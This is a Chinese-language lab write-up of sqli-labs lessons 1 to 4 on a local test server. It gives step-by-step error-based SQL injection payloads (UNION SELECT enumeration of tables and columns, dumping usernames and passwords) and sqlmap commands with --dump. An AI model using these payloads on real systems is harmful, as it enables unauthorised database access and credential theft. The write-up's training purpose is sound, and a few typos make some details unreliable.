根據注入類型可將sql注入分為兩類:數字型和字符型
例如:
數字型: sleect * from table where if =用戶輸入id
字符型:select * from table where id ='用戶輸入id'
(有引號)
通過URL中修改對應的D值,為正常數字,大數字,字符(單引號,雙引號,雙單引號,括號),反斜杠\來探測URL中是否存在注入點。
另外-- (這里有一個空格,–空格)在SQL內表示注釋,但在URL中,如果在最后加上-- ,瀏覽器在發送請求的時候會把URL末尾的空格舍去,所以我們用–+代替-- ,原因是+在URL被URL編碼后會變成空格。
sqli-lab less 1~4基于報錯的sql注入:
- less1 GET - Error based - Single quotes - String
1.輸入id值嘗試報錯點: ?id=數字
發現在id值為1~14可以正常返回
2.在id值(任意可以正常返回的id值)后添加單引號,發現報錯,可能存在sql字符注入,
可以得到,報錯的sql語句為'14'' LIMIT 0,1
,輸入的引號閉合了id的前引號
猜測原sql語句為: select login_name,password from admin where id = 'id' limit 0,1+
3.利用order by 判斷有幾列數據
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ order by 3 --+
修改order by 后的值可發現1~3回顯正常,order by 4 回顯不正常,表示表有三列
4.使用union select statement : http://127.0.0.1/sqli-labs-master/Less-1/?id=15’ UNION SELECT 1,2,3 --+
查看顯示位,輸出2和3說明有兩個顯示位
5.利用union select 聯合查詢,獲取表名
0’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
6.利用union select 聯合查詢,查看users表下的列名:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
7.利用union select 聯合查詢,查看username,password表下的字段值
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,group_concat(username,0x3a,password),3 from users–+
(0x3a表示分號)
得到所有的username和password
以上為手工注入過程,用sqlmap工具會更加方便快捷:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C username,password --dump
得到username和password
-
less2.GET-Error based-intiger based
和less1基本相同 -
less3 : Get-errsr based-single quotes with twist-string
id=1’ --+回顯不正常
id=1’) --+回顯正常
說明是字符型注入
語句與less1 相同
-less4 : Get- error bassed - Double Quotes - string
id=1" 用雙引號回顯不正常
id=1’ 和 id=1’) 都回顯正常
可推測語句為 (id=“1”)
是("")雙引號閉合型
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") --+ 回顯正常
之后使用union select 聯合查詢
顯示列名,表明字段
參考:
https://blog.csdn.net/sdb5858874/article/details/80727555
https://www.bilibili.com/video/BV1Q54y1D7VV?p=4